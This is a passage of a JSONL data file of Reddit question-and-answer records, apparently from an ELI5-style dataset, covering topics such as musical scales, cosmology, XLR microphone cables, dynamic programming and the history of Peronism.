"https://ewscripps.brightspotcdn.com/dims4/default/ba1006e/2147483647/strip/true/crop/1000x563+0+102/resize/1280x720!/quality/90/?url=https%3A%2F%2Fewscripps.brightspotcdn.com%2F50%2F22%2F40803a1348a78e05d1838ee606f9%2Fgorgeous-mini-grand-canyon-of-salt-river.jpg", "https://media-cdn.tripadvisor.com/media/photo-s/04/29/a5/16/crescent-moon-ranch.jpg", "https://oldtownscottsdale.com/wp-content/uploads/2015/05/Take-a-Hike.jpg", "https://www.google.com/url?sa=i&amp;rct=j&amp;q=&amp;esrc=s&amp;source=images&amp;cd=&amp;ved=2ahUKEwi3gu7Sx4DlAhVXsZ4KHV9lDgwQjRx6BAgBEAQ&amp;url=https%3A%2F%2Fwww.americanrivers.org%2Friver%2Fgila-river%2F&amp;psig=AOvVaw2eYkwefDP00h3wqTNNVl_p&amp;ust=1570208233513904", "https://justroughinit.com/wp-content/uploads/2018/12/Scottsdale-Hiking-Sunrise-Trail_1.jpg", "https://www.nps.gov/articles/images/Vegetation-of-Arizona.jpg", "https://www.alamy.com/stock-photo-the-mogollon-rim-is-a-topographical-and-geological-feature-running-50343330.html?pv=1&amp;stamp=2&amp;imageid=FB0885EA-1503-48DA-AECA-0CC7DC74DEC4&amp;p=144277&amp;n=0&amp;orientation=0&amp;pn=1&amp;searchtype=0&amp;IsFromSearch=1&amp;srch=foo%3dbar%26st%3d0%26pn%3d1%26ps%3d100%26sortby%3d2%26resultview%3dsortbyPopular%26npgs%3d0%26qt%3dmogollon%2520rim%2520snow%26qt_raw%3dmogollon%2520rim%2520snow%26lic%3d3%26mr%3d0%26pr%3d0%26ot%3d0%26creative%3d%26ag%3d0%26hc%3d0%26pc%3d%26blackwhite%3d%26cutout%3d%26tbar%3d1%26et%3d0x000000000000000000000%26vp%3d0%26loc%3d0%26imgt%3d0%26dtfr%3d%26dtto%3d%26size%3d0xFF%26archive%3d1%26groupid%3d%26pseudoid%3d%26a%3d%26cdid%3d%26cdsrt%3d%26name%3d%26qn%3d%26apalib%3d%26apalic%3d%26lightbox%3d%26gname%3d%26gtype%3d%26xstx%3d0%26simid%3d%26saveQry%3d%26editorial%3d1%26nu%3d%26t%3d%26edoptin%3d%26customgeoip%3d%26cap%3d1%26cbstore%3d1%26vd%3d0%26lb%3d%26fi%3d2%26edrf%3d%26ispremium%3d1%26flip%3d0%26pl%3d"]]}
{"q_id": "8p0ywd", "title": "how come internationally, musical scales developed differently?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8p0ywd/eli5_how_come_internationally_musical_scales/", "answers": {"a_id": ["e07mb3c"], "score": [6], "text": ["An octave is a natural interval - when you go up an octave, you double the frequency of the note.  This is naturally pleasing to the ear.  There are other intervals that are somewhat natural as well - for instance, a perfect fifth (the notes C and G, for instance).  G has a frequency of 1.5x the C below it.  The ear can pick up this fact easily (though not everyone finds this interval pleasing!).\n\nSocieties which made use of a lot of math and measuring noticed this.  China and Greece both did a lot of measuring - you gotta measure your farm fields to support a large empire.  They had a lot of string lying around from this measurement.  You've probably noticed that if you pull a length of string taut and pluck it, it makes a note - this is the basic idea behind many instruments, from Western harps and guitars to Eastern sitars and erhu.  Early Chinese and Greek scholars noticed that if you divided the string into a 3:2 ratio, you could play a natural fifth.  Thus, the fifth formed a central part of the music theory in both these cultures.\n\nThe Greek were notoriously ratio-obsessed.  For a long time, they believed that any number could be expressed as a ratio (or fraction), and they kept things in ratios as much as possible.  So the 3:2 ratio of the fifth appealed to them.  They also rapidly identified the 4:3 ratio of the perfect forth (the notes C and F, for instance).  From these notes, C F and G, they went on to construct the 12-note chromatic scale we know today.  The 12 notes appealed greatly to Greek mathematicians, as it can be divided by 2, 3, 4, and 6.\n\nChina, meanwhile, developed a very similar scale based on the same mathematical concepts, but placed greater importance on the interval of the fifth.  China used a 12-note chromatic scale, but they also focused greatly on a 7-note subscale.\n\nIn the middle of all this, India, another technological giant of the ancient era, was developing their own music theory, embedded in the Hindu religion and based around a limited set of scale-like entities known as raga.  The musical traditions of Greece, China and India spread outwards (along with the rest of their culture), and soon cultures around the world were using their musical ideas, mixed together in different ways.  But, as tends to happen, these ideas got mutated over time; local scales developed, styles of playing grew popular in some areas and not in others.  Over hundreds or thousands of years, this led to different scales in different places."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1oq1dx", "title": "What is the demographic composition of those who regularly post on AskHistorians?", "selftext": "This is not a history question, rather its about the subreddit. Since the subreddit is very famous and really active, and people are hard working here, I believe this question is significant nonetheless. What are the percentages of : \n\nFemale\nMale \nAge Groups\nEducational Degree: PhD, MA, BA or others\nAmateur Researcher\nCurious Readers\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1oq1dx/what_is_the_demographic_composition_of_those_who/", "answers": {"a_id": ["ccuf48z"], "score": [3], "text": ["A census was conducted when the sub reached 100,000 readers; [here](_URL_0_) are the full results and some analysis. [Here](_URL_1_) is the new census for 200K subscribers. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://docs.google.com/forms/d/1bpD9pvAoKb-uzs_WP-d4S4b-J47sb5rG23J35ZW0_k4/viewanalytics", "https://docs.google.com/forms/d/1QdWoQsgn6Zz8AYk2ZS5-SuGBiYn8LiMIqSGnI56IkEE/viewform"]]}
{"q_id": "1lcok4", "title": "how can an electron emit x-rays?", "selftext": "How can an electron emit x-rays? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1lcok4/how_can_an_electron_emit_xrays/", "answers": {"a_id": ["cbxws54"], "score": [2], "text": ["Electrons orbit the nucleus of atoms, they can change how far their orbit is, but they need to change how fast they are going. To slow down and get closer, they need to get rid of energy. When they get rid that energy, the energy leaves in the form of a photon (what you know as a wave of light). The energy put into the photon defines if its a radio wave, light wave, X-ray etc. (X-ray is a high energy photon).\n\nThe reason it will move down is if the election is in an excited state, which happens when the atom absorbed a energy from a photon or a collision with another atom (collisions happen when the atom gets really hot)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1993uy", "title": "Carl Sagan and the pulsating cosmos.", "selftext": "In an episode of his Cosmos series, Carl Sagan briefly discussed the idea of a closed cosmos; a big bang is followed by expansion up until a point, then contraction, and eventually a new big bang. Rinse and repeat.\n\nHe hinted that further examination of the total mass and gravity of the universe was needed to evaluate this theory. So; in the 30 odd years that have passed since the original run of Cosmos, have we been able to verify or throw out this theory?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1993uy/carl_sagan_and_the_pulsating_cosmos/", "answers": {"a_id": ["c8lwozl", "c8lyvaz"], "score": [208, 9], "text": ["Not only have we been able to throw it out, we've discovered the exact opposite: rather than slowing down towards an eventual halt and recollapse, the expansion is *speeding up*.\n\nNow, take a moment for it to sink in just how weird that is. Even if the Universe weren't going to recollapse, its expansion should still be slowing down due to the gravity of all the galaxies and matter. The fact that it's speeding up is as weird as throwing a ball into the air and watching it accelerate out of the atmosphere like a rocket ship.\n\nThere are a lot of ideas about what the nature of the [dark energy](_URL_0_) causing this could be, or whether we need something more exotic like a modification of Einstein's theory of gravity, but it seems very unlikely that it's such that the acceleration would one day stop, and the Universe would turn around and recollapse.\n\nThat said, the cosmos could still be closed - meaning it would go \"all the way around\" like the surface of a sphere - although observations show that if it is, its \"radius\" must be *huge* because the Universe looks so flat, much the way that an ant would never be able to conceive of the enormous radius of the Earth. In the absence of this dark energy, such a closed Universe is the kind that would eventually recollapse. Keep an eye out for data from the Planck satellite being released in just under a month's time; Planck's the major cosmic microwave background experiment and this upcoming data release has been in the making for decades, and if the Universe does have any large-scale curvature, it's likely that Planck would find it.", "The [shape of the universe](_URL_1_) dictates a lot about the [ultimate fate of our universe](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Dark_energy"], ["http://en.wikipedia.org/wiki/Ultimate_fate_of_the_universe", "http://en.wikipedia.org/wiki/Shape_of_the_Universe"]]}
{"q_id": "18t9aa", "title": "Radioimmunoassay", "selftext": "Hey guys,\n\nI have a question about radioimmunoassay, would appreciate someone clearing this up for me. So, the way I understand it is you have unlabeled/labeled antigen and antibodies for those antigens in known concentrations to measure and create a standard binding curve. When you have your standard binding curve, you can do the assay again, only this time with unknown quantities of unlabeled antigens. The result you would get from measuring the radioactivity of the supernatant and the bound antigens can then be used in the standard binding curve I made earlier to determine the antigen concentration, correct? \n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18t9aa/radioimmunoassay/", "answers": {"a_id": ["c8hwwj2"], "score": [2], "text": ["That's correct. Your known concentrations of unlabeled/labeled antigen are in decreasing ratios of labeled:unlabeled antigen. The more unlabeled antigen you add, the more radioactive antigen you displace from the antibody, and the more radioactivity you end up with in the supernatant. So then you can figure out a good concentration of each using the standard curve that you have generated and add patient sample, another source of unlabeled antigen. This gives a very sensitive measurement and is easy to do with a scintillation counter.\n\nThe important thing is getting rid of antigen/antibody complexes and only measuring radioactivity in the supernatant. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3j4o20", "title": "how is the kepler space telescope kept so precisely stable?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3j4o20/eli5_how_is_the_kepler_space_telescope_kept_so/", "answers": {"a_id": ["cumiloe", "cumb63b"], "score": [33, 432], "text": ["Exactly [like this](_URL_0_), OP. This is a fascinating video explaining how reaction wheels can be used to stabilize and move things.", "It has reaction wheels that are spinning at high speeds. This creates a very large angular momentum that is very difficult to change. \n\nIn deep space (i.e. not earth orbit) you don't have to deal (as much) with forces such as atmospheric drag or the magnetic field, so reaction wheels are sufficient.\n\nEdit: think of a top. When a top is spinning quickly, its very easy to balance it precisely on the tip. When its not spinning, its near impossible. Same concept, but imagine the top of the top is a photometer taking pictures of the stars.\n\nSource: I do mission ops for kepler"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=n_6p-1J551Y"], []]}
{"q_id": "1xv9in", "title": "question for long distance runners", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xv9in/eli5question_for_long_distance_runners/", "answers": {"a_id": ["cfexp2p"], "score": [5], "text": ["I don't run anymore (not many long spans of free time) but when I did, it was because I just enjoyed getting better at it.\n\nFor me, running used to be something I hated.  I couldn't run around the block without getting winded, and running was painfully dull to me.  So one day I decided to better myself, and to do that by getting really good at something I hated, and running fit that bill.\n\nSo the first reason I liked running was because it yielded noticeable results.  I was getting more toned, I had more energy throughout the day, and I just enjoyed that feeling where I run 5 miles and I think, \"Whoa, I've never run that far in my life, and only a month ago I could barely run just 1 mile.\"  It was cool to look back on it and see how far you've come.\n\nThe next reason I enjoyed running was because it's a way to explore.  You don't really soak in your surroundings when you go for a drive, because they pass you too quickly.  But if I wanted to get to know my neighborhood a little better, I'd just go for a run in that direction and check it out.  If it wanted to see a park I've never been to, I'd just run there.\n\nAnd then I started liking running because I started relishing the experience.  I think it made me a little masochistic.  See, you get this confidence where you know what you're doing is painful and horrible, but somehow, you've beaten it and you've improved.  So now you want to dissect that process.  Or at least I did.  So I'd run and run and run until I was sick and sore, and then think to myself, \"Okay, absorb this, internalize how you're feeling right now, and see if you can figure out how you get over it.\"  Misery becomes a learning experience, a class you used to hate attending but now you're genuinely interested in the material.\n\nThat's my experience, anyway."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1bsokz", "title": "why do people from england call their households \"flats\"?", "selftext": "Is it the equivalent of an apartment?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bsokz/eli5_why_do_people_from_england_call_their/", "answers": {"a_id": ["c99oeaq", "c99og1n", "c99oufs", "c99p4xu", "c99qaw8"], "score": [8, 14, 15, 5, 10], "text": ["Yes. \"flat\" as in it is one level. ", "A house is a traditional style house. It can be anything from [this](_URL_1_) to one of [these](_URL_2_).\n\nA flat is when you only own and live in *part* of a building.\n\nFor example, the first house shown could be split into 4 or 5 flats, with seperate doors etc...\n\nOr it could be one flat in a [block of flats](_URL_0_).\n\nI would take a guess that it is the equivalent of an apartment to you Americans.", "Why do Americans call it an apartment?", "New Zealanders tend to take this even further.  I think originally flats were a dwelling which was part of a bigger building (like apartments or large buildings split into different, smaller houses) but these days it means anything from small apartment to house- students and young people who share houses which they rent tend to call them flats and share them with 'flatmates'.\n\nAustralians tend to call them sharehouses and have 'housemates'", "The British English word *flat* was adopted from the Scottish 'flat' meaning 'floor or story of a house'. Interestingly the Scottish adapted it from the Old English word 'flet', meaning 'a dwelling, floor, ground'."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.probertencyclopaedia.com/photolib/architecture/Block%20Of%20Flats%202.jpg", "http://www.mansewoodcountryhouse.co.uk/images/Mansewood%20Country%20House%20-%20full%20size.jpg", "http://blitzandblight.com/images/90.jpg?height=598&amp;width=900"], [], [], []]}
{"q_id": "xwqrc", "title": "Did perception of WWII as a \"just war\" among American citizens have a negative impact on anti-war movements for the Korean or Vietnam Wars?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/xwqrc/did_perception_of_wwii_as_a_just_war_among/", "answers": {"a_id": ["c5qbsq7", "c5qcpay", "c5qcr01", "c5qibe7"], "score": [2, 5, 9, 6], "text": ["Not certain what you mean, exactly.  Are you asking if WW2 (or the perception thereof) hurt the anti-war movements in Korea and Vietnam?", "There may be a problem with your premise. In \"The Good War\" by Studs Turkel, an oral history of the war and in my opinion the best document on American perceptions of the war, many respondents said they didn't support the war for ideological or moral reasons. Many were unclear on the cause of the war at all, besides Pearl Harbor. But many supported the war out of a sense of patriotism, Or individual machismo, or a sense of group loyalty, etc. In short, people rallied together first, and then attached arguments about the danger of fascism or the barbarity of the Japanese after the fact.\n\nNo doubt though, for some quantity of the population, there was an effect on the perception of later wars. Many respondents said that they had been against Vietnam precisely because their war had made more sense. Also remember that Vietnam was caused by changes in American politics that happened because of WWII: the rise of the military industrial complex and the military proper in politics, the curbing of New Dealism in favor of conservatism, the rise of American power relative to the rest of the war-broken world. So it was easy to read Vietnam as the excess of a degenerate political system, for those opposed to the war.\n\nIt's late and I'm writing from a phone, so forgive any innacurracies. Also Turkel as a reference may have a left wing bias in his interviews. Nonetheless, I think the biggest driver of support for a war is faith in government and sense of patriotism, rather than the details of the particular war.", "I think the whole 'just war' concept is *still* having an impact, to tell you the truth.\n\nWe've all been subject to consistent conditioning, largely through movies and TV programs, that the US won WW2 because our cause was noble and just, and that we lost Vietnam because it wasn't. History buffs (or even someone with a smidgen of history education) know better of course, but even with us I think it's a perception we need to be on guard against.\n\nThe practical upshot is that when US troops are kicking ass and taking names, the public seems to think it must be a 'good' war. As soon as things start to go badly, public perception flips and suddenly it's a 'bad' war.", "Several people have already addressed the concept that not everyone thought that World War II was a \"good war\".  The other side of the coin that OP should examine is whether the Vietnam War was really unpopular.  Believe it or not, but public support was actually quite strong for the Vietnam War, and only started to slide after the Tet Offensive.  While we all have the collective memory of antiwar protests, there were just as many prowar protests.\n\n[Example #1](_URL_0_)\n\n[Example #2](_URL_1_)\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://hitchcock.itc.virginia.edu/ViewingAmerica/roundtables/roundtable8/images/rally.gif", "http://www.google.com/imgres?um=1&amp;hl=en&amp;safe=off&amp;biw=1366&amp;bih=643&amp;tbm=isch&amp;tbnid=Ncw1FzhVpuqfZM:&amp;imgrefurl=http://uclafacultyassociation.blogspot.com/2012/02/ucla-history-mayor-speaks.html&amp;docid=M-QqIs2LiLtd9M&amp;imgurl=http://1.bp.blogspot.com/-XvD_j3GiMFI/Tzfht8R5WGI/AAAAAAAAFiE/9t_mhW89tZo/s1600/Yorty-proVietnamWar.jpg&amp;w=800&amp;h=615&amp;ei=db8jUKndCcf10gH49IGoCg&amp;zoom=1&amp;iact=hc&amp;vpx=445&amp;vpy=254&amp;dur=2559&amp;hovh=197&amp;hovw=256&amp;tx=185&amp;ty=122&amp;sig=105698988706950680138&amp;page=1&amp;tbnh=140&amp;tbnw=182&amp;start=0&amp;ndsp=21&amp;ved=1t:429,r:9,s:0,i:101"]]}
{"q_id": "1ldd39", "title": "the u.s. tax system vs canadian taxes", "selftext": "I'm curious as to which country's citizens pay more taxes, I figure that it will be Canada due to their healthcare system. If so, how much more? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ldd39/eli5_the_us_tax_system_vs_canadian_taxes/", "answers": {"a_id": ["cby3i2j"], "score": [2], "text": ["Federal income taxes are lower here in Canada. Provincial and state taxes vary by location. US payroll taxes are generally higher than the Canadian ones. \n\nWhere we pay more than  Americans is in sales tax, largely, and in capital gains, not on deductions you'd see on pay cheques.  We have provincial sales taxes plus a national GST of 5%, and half your capital gains are taxed at the marginal rate. \n\nIf you want specifics, [here]( _URL_0_ ) is the payroll tax calculator from the Canada Revenue Agency.  A person earning about 70 000 per year will see around 30% deducted in total. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.cra-arc.gc.ca/esrvc-srvce/tx/bsnss/pdoc-eng.html"]]}
{"q_id": "1yqes1", "title": "what is the smell under a cast or a bandage that hasn't been changed in too long?", "selftext": "It always smells the same, no matter where on the body, and no matter who it is...is it a particular bacteria, and if so, what makes it thrive? Is it present on the skin but is unable to colonize without dark, moist environs?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yqes1/eli5_what_is_the_smell_under_a_cast_or_a_bandage/", "answers": {"a_id": ["cfmthyv"], "score": [4], "text": ["There are naturally about 1000 bacterial and fungal flora on skin. Normally, your washing, abrasion from clothing, sunlight, and dryness keep the colony in check. The wet/dark/warm environment of a cast provides both protection and a food source for these organisms to grow (your skin cells that otherwise die and slough off). The bad smell is a byproduct but the exact combination of bacteria/fungi/yeast is a function of where you live and how wet the cast gets. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "14u7af", "title": "why everyone hates the new youtube layout.", "selftext": "I dont get it. I really like it. I can scroll through my subscribed channels and it looks nicer.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14u7af/eli5_why_everyone_hates_the_new_youtube_layout/", "answers": {"a_id": ["c7gg875", "c7ggd33", "c7ggfqo", "c7gghb0", "c7h3073"], "score": [2, 5, 4, 3, 2], "text": ["Because they change it all the time.  They are trying to fix something that isn't broken.", "Because people got used to the old one and now there is an adjustment period for the new one, which is always a pain. Give it a few months and people will start to praise it and talk about how much better it is from the old one. ", "The homepage shows all kinds of stuff nobody wants to see and there is no way to filter it, that seems to be the main reason", "My main problem with it is that you can no longer jump backwards in a channels uploaded videos, now you have to click \"load more videos\" insted of just going to a new page.", "I don't like it because of the huge white space to the [right hand side](_URL_0_). It makes me feel like my monitor space is wasted.\n\nAlso, I really liked the previous arrangement."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://i.imgur.com/I9wYi.jpg"]]}
{"q_id": "33899i", "title": "why do we use xlr input for microphones instead of a 6.3mm jack like we do with guitars?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33899i/eli5_why_do_we_use_xlr_input_for_microphones/", "answers": {"a_id": ["cqifrpp", "cqihmll", "cqijs5c", "cqin16i", "cqj3334"], "score": [8, 102, 3, 3, 2], "text": ["Well there are plenty of Microphones with a quarter-inch jack but in general it's because:\n\n1. Better signal quality\n\n2. Ability to send power through the cable (condenser and other mics require power to operate).", "XLR (which, technically is only a connector standard) provides a *balanced* signal path.   Balanced lines allow better signal quality because they are less susceptible to interference.  Microphones tend to have much longer cables than guitars and so tend to be more affected by noise/interference.   XLR also allows \"phantom power\", which allows you to send power to microphones that require it.    Why not guitars?  Guitars (almost always) have high-impedance , high-output pickups and neither of these make a balanced line reasonable. And short cable runs.  Mics also plug into a board, where as you plug your guitar into an amp...so you'd need XLR inputs there, too.\n\nFinal point:  You can run balanced lines on XLR or 1/4\" (6.3mm) but the connectors for 1/4\" are 3 conductor, not 2.  ", "XLR has 2 wires carrying the actual signal, vs the single wire in a typical 1/4\u201d instrument cable. The sound signal going through the wire is a wave, with peaks and valleys. Unfortunately, outside radio interference adds on to those peaks and valleys and comes through as unwanted noise. With balanced (XLR or TRS) cables, one of the signals is phase-reversed (the peaks become valleys and viceversa) so that when the signal reaches the receiving hardware, the reversed signal is flipped back around, then they\u2019re overlayed on top of each, and the outside interference is cancelled out. It\u2019s pretty clever stuff, and vital in very sensitive equipment like microphones. My acoustic guitar has XLR built in, but generally guitarists are only going a very short disatnce from the guitar to the amp, so there\u2019s not much of a problem with interference. But many guitarists use a \u201cdirect box\u201d to convert the guitar signal from unbalanced to balanced.", "The real question is why don't we use XLR for guitars seeing as XLR is way better?", "Lots of incorrect information in this thread. On a balanced connection, there is NO requirement for there to be 2 signals of opposite polarity, and there is NO requirement that there even be a signal present on both lines. The common mode rejection comes from equal impedance to ground REGARDLESS of what signal is present on the 2 lines."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "14gvls", "title": "dynamic programming", "selftext": "How does it work? How do I use it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14gvls/eli5_dynamic_programming/", "answers": {"a_id": ["c7czluo", "c7czudb"], "score": [2, 2], "text": ["Dynamic programming in the simplest aspect is coding that breaks large problems into smaller sub functions.\n\nIt usually involves calling upon information in a previous step to save resources.  \nEI, 2 to the nth as n approaches infinity is not calculated each time separately, but by multiplying the previous result.", "The Wikipedia article on this is actually pretty good: _URL_0_.\n\nDynamic programming is best suited for problems that require solving the same subproblems over and over again. To apply dynamic programming to this problem, you should only compute each subproblem once and then cache the result. The next time you need to solve that subproblem, you just grab the cached value instead of repeating all that work. Here's an example that doesn't use dynamic programming, but should:\n\nThe n^th fibonacci number, fib(n), is defined as fib(n-1) + fib(n-2). Then the fifth fibonacci number, fib(4), is\n\nfib(4)\nfib(3) + fib(2)\nfib(2) + fib(1) + fib(1) + fib(0)\nfib(1) + fib(0) + fib(1) + fib(1) + fib(0)\n\nBut why calculate fib(0) twice and fib(1) three times? Perhaps it would be better to store a dictionary that stores bindings from i to fib(i). Then every time you needed the value of the i^th fibonacci number you could just look in the dictionary before computing it over again. \n\nThe really tricky part is recognizing whether some subproblems will be repeated over and over, and if so, what those subproblems are.\n\nI hope that helps. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Dynamic_programming"]]}
{"q_id": "959ybp", "title": "What characterized \"Peronism\"? Was it socialist, fascist, distinctly South American, distinctly Argentinian, part of a broader phenomenon?", "selftext": "I find the regimes/movements of 20th century South America very interesting but also difficult to truly grasp. And Peronism has to be one of the slipperiest ideologies/movements of all! Some insight would be much appreciated.\n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/959ybp/what_characterized_peronism_was_it_socialist/", "answers": {"a_id": ["e3rrusf"], "score": [128], "text": ["Finally, a contemporary Argentina question! I'm no Peronism expert but will give it a shot based on my knowledge of more recent events. Others have talked about \u201cwhat is Peronism\u201d so I\u2019ll focus on giving some context for it. (sorry for the long read)\n\nYou're absolutely right that Peronism (peronismo) is arguably one of the most internally contradictory movements of all time, at least from a US/European perspective well used to the familiar left/right divide and some semblance of internal ideological cohesion. However, that's not to say there's no sense to be made of it, especially when we understand it more as a \"populist\" movement (more on that term and its limits later) within the very particular world of Argentinian political identity.\n\nBefore we get to Peron, however, I'll ask you to  indulge a sweepingly broad history of the country up until the arrival of Peron. Argentina, in the mid-nineteenth century, undertook a program of \"National Organization\" aimed at ending the decades of civil war that had followed independence and starting Argentina's new life as a fully European-style nation. The governments of the National Organization and for decades afterwards represented a sort of consensus among Argentina's elite governing class on the importance of modernization, creating and upholding European-style political and social institutions, and encouraging the immigration of Europeans to Argentina, out of a nineteenth-century Social Darwinist view that making a new country as successful as Europe involves filling it with white people (to this day, Argentina is still a very white country, in part as a result of these policies).\n\nHowever, in 1930, dissatisfaction with the ruling liberal president, and the ascendancy of a new, fascist-tinged nationalist movement led to Argentina's first military coup, which started a new era in Argentina of military involvement in political affairs. In fact, it instilled in Argentina's already conservative military a sense of political duty and political identity, largely tied to the nationalist movement, which would lead to a coup roughly every 10 years between 1930 and 1976 (1930, 1943, 1955, 1962, 1966, 1976).\n\nThe 1943 coup was especially noteworthy when we begin to talk about Peron. While there were various reasons for it, a primary one was Argentina's stance as neutral in World War II. Argentina's military, being so tied up in the nationalist movement, had its fair share of fans of the Axis, not helped by the fact that much of the officer class had long admired the Prussian/German Army, and some had even been trained in that tradition. While the US was pressuring Argentina to join the Allies, the military pushed for neutrality (as tacit support for the Axis), and overthrew the government when the president proposed supporting the Allies. It's safe to say, therefore that the \"United Officers Group\" that spearheaded the 1943 coup was composed of right-wing military men who were acting out of a declared admiration of, and in support of, German and Italian fascism. Peron was one of these officers, and while he may not have been the mustachio twirling Nazi portrayed in the movie *Evita*, nevertheless admired Mussolini especially and had strong personal ties to Nazi Germany (modern-day Peronists still reject these claims). So, Peron was ostensibly a hard-right military man at the beginning of his career, and maintained some level of fascist sympathies for the whole of his life.\n\nHowever, upon taking power in 1943, the insufferably ambitious Colonel Peron was given the shittiest job the new administration could find-- head of the newly founded Ministry of Labor, which was expected to be a dead-end job that would prevent him from being a nuisance to his superiors. However, Peron, ever the able political actor, quickly allied with Argentina's growing labor unions, took a very prominent role within the parties of the urban working class, and very quickly the Peron-union alliance became the most powerful force in Argentinian politics, first moving to pass a series of labor reforms (which Peron made sure either bore his name or were closely associated with him personally), then getting Peron promoted first to Minister of War, then to Vice-President. When a shambolic and poorly organized anti-Peronist effort, aided by the United States,  got Peron briefly deposed and arrested in late 1945, popular pressure, culminating in a hundreds-of-thousands strong march on the presidential palace, returned him to power, and he won the 1946 presidential elections.\n\nIn power, Peron continued to exhibit tendencies that seem contradictory on a left-right axis but all fit in to the larger trend of assuring his power and satisfying his base. In fact, while the term \u201cpopulist\u201d gets thrown around a lot these days, Peron fit it better than most, as many of his policies in the economic and social sphere were a way to directly satisfy his working-class base as a way to ensure their continued support of him. And this is the way in which Peron can seem \u201csocialist\u201d to our eyes, as he enacted sweeping labor protections and social reforms ranging from minimum wage and safety regulations to voting rights for women, etc. And in this context, Peron seems to be a pretty traditional \u201csocialist\u201d reformer.\n\nHowever, at the same time as all this, Peron continued to make moves towards strengthening his own executive power, in ways that make him look a lot more like a traditional strongman. Now, this wasn\u2019t without its precedent, as the phenomenon of *caudillismo*, or strong one man leadership stemming from the Spanish tradition, in Latin America is pretty well documented, and was especially popular in Argentinian nationalism. So while he was empowering workers and protecting their rights, he was also doing everything in his power to rule as a dictator, going so far as to *change the constitution* in 1949 to give himself sweeping presidential powers, which enabled him to run for and win an unprecedented second term in 1952 (Argentina\u2019s constitution, written in the 1850s after an extended period of dictatorship, had a strict one term limit as one of many checks on presidential power designed to curtail future leaders like Peron). School texts from the period read like an Orwellian horror show, as children would learn grammar by reciting sentences praising Peron or his wife Eva (Evita). Peron\u2019s second term was even more openly dictatorial, and the so-called \u201cLiberating Revolution\u201d of 1955 (another military coup), was explicitly aimed at shutting down Peronism for good, and forced him into exile.\n\nThe social conflict that followed Peron\u2019s exile and his return to Argentina in the early 1970s provides a good lens for analyzing his legacy. Argentina, in the late 60s and 70s, was in total social chaos, as various armed political groups vied for assorted political objectives. There were a lot of groups at play, but most importantly there were Peronist groups fighting on different sides. Marxist-Leninst rebels and right-wing paramilitary death squads, some of which were working under orders from Peron himself, both laid claim to the label of \u201cPeronist\u201d, and truth be told both were sort of justified in doing so, as they represented the different parts of his political package.\n\nSo, in conclusion, in Peronism we have a movement that has both hard-left and hard-right tendencies, in reflection of a highly complex man. Personally, I think of Peron more as a conservative military strongman than a leftist crusader, as it seems to me that his overtures towards workers were more because they were his avenue to power rather than a genuine interest in the interests of the lower classes. But millions of Argentinians disagree, and the student and union political spheres, especially, are still dominated by Peronist groups (or rather, groups claiming to be Peronist). The contradictions of Peronism, while they have explanations and reasons for being, are still mind-bending contradictions that have to be worked around (or simply paid lip-service to). Maybe the most important legacy of Peronism is that it provided a figurehead for various social and political movements, and that it has given Argentina its defining question of political identity. Just as in the US you\u2019re usually a Democrat or a Republican, or in other parts of the world you\u2019re more left or more right, in Argentina you\u2019re either pro- or anti-Peronist, whatever that means.\n\nIf you're interested in more, I'd recommend David Rock's *Argentina, 1516-1983* or Luis Alberto Romero's *A History of Argentina in the Twentieth Century* for general overviews. If you want a more in-depth and politically-focused read, go for Federico Finchelstein's *The Ideological Origins of the Dirty War*, which is a fascinating history of fascism in Argentina.\n\n**TL;DR: The contradictions in Peronism are a direct result of Peron's actions. It's above all a populist movement, with pro-labor and distinctly authoritarian tendencies.**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
